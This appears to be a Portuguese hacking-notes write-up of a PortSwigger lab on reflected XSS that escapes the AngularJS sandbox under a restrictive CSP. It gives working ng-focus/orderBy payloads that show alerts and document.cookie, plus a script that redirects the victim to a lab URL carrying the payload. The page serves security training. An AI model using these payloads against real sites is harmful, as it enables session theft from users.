> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xss/angularjs-sandbox-escape-with-csp.md).

# Escape de Sandbox do AngularJS com CSP

### XSS refletido com escape do sandbox do AngularJS e CSP

Realize um ataque de cross-site scripting refletido que contorna a Política de Segurança de Conteúdo, sai do sandbox do AngularJS e é executado `alert(document.cookie)`.

**Comentários**/ O site usa uma política CSP que impede a execução de scripts a partir de um domínio externo:

```javascript
default-src 'self'; script-src 'self'; style-src 'unsafe-inline' 'self'
```

<figure><img src="/files/7f2afa158014fe15211d80f29058c07615b4f721" alt=""><figcaption></figcaption></figure>

Ao consultar a folha de dicas da PortSwigger, identificamos um vetor funcional do AngularJS que força a avaliação por meio de um `orderBy` filtro aplicado ao `$event.composedPath()` evento.

<figure><img src="/files/1933b93e248efb634c5078704c679509eec6f745" alt=""><figcaption></figcaption></figure>

* Para disparar um alerta:

```javascript
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(1)'>
```

<figure><img src="/files/336e415a72ede4aa1769fba5af7d2ce888fd97a6" alt=""><figcaption></figcaption></figure>

* Para exibir o valor de `document.cookie`:

```javascript
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(document.cookie)'>
```

Exemplo de URL construída para entregar o payload e forçar a execução no lado da vítima:

```javascript
<script>
location = 'https://0a7d008d035a764f8087997e004a0051.web-security-academy.net/?search=<input id=x+ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27>#x';
</script>
```

<figure><img src="/files/43dc64a2ec2e2aaca855114a5a04eb22fa83fe57" alt=""><figcaption></figcaption></figure>


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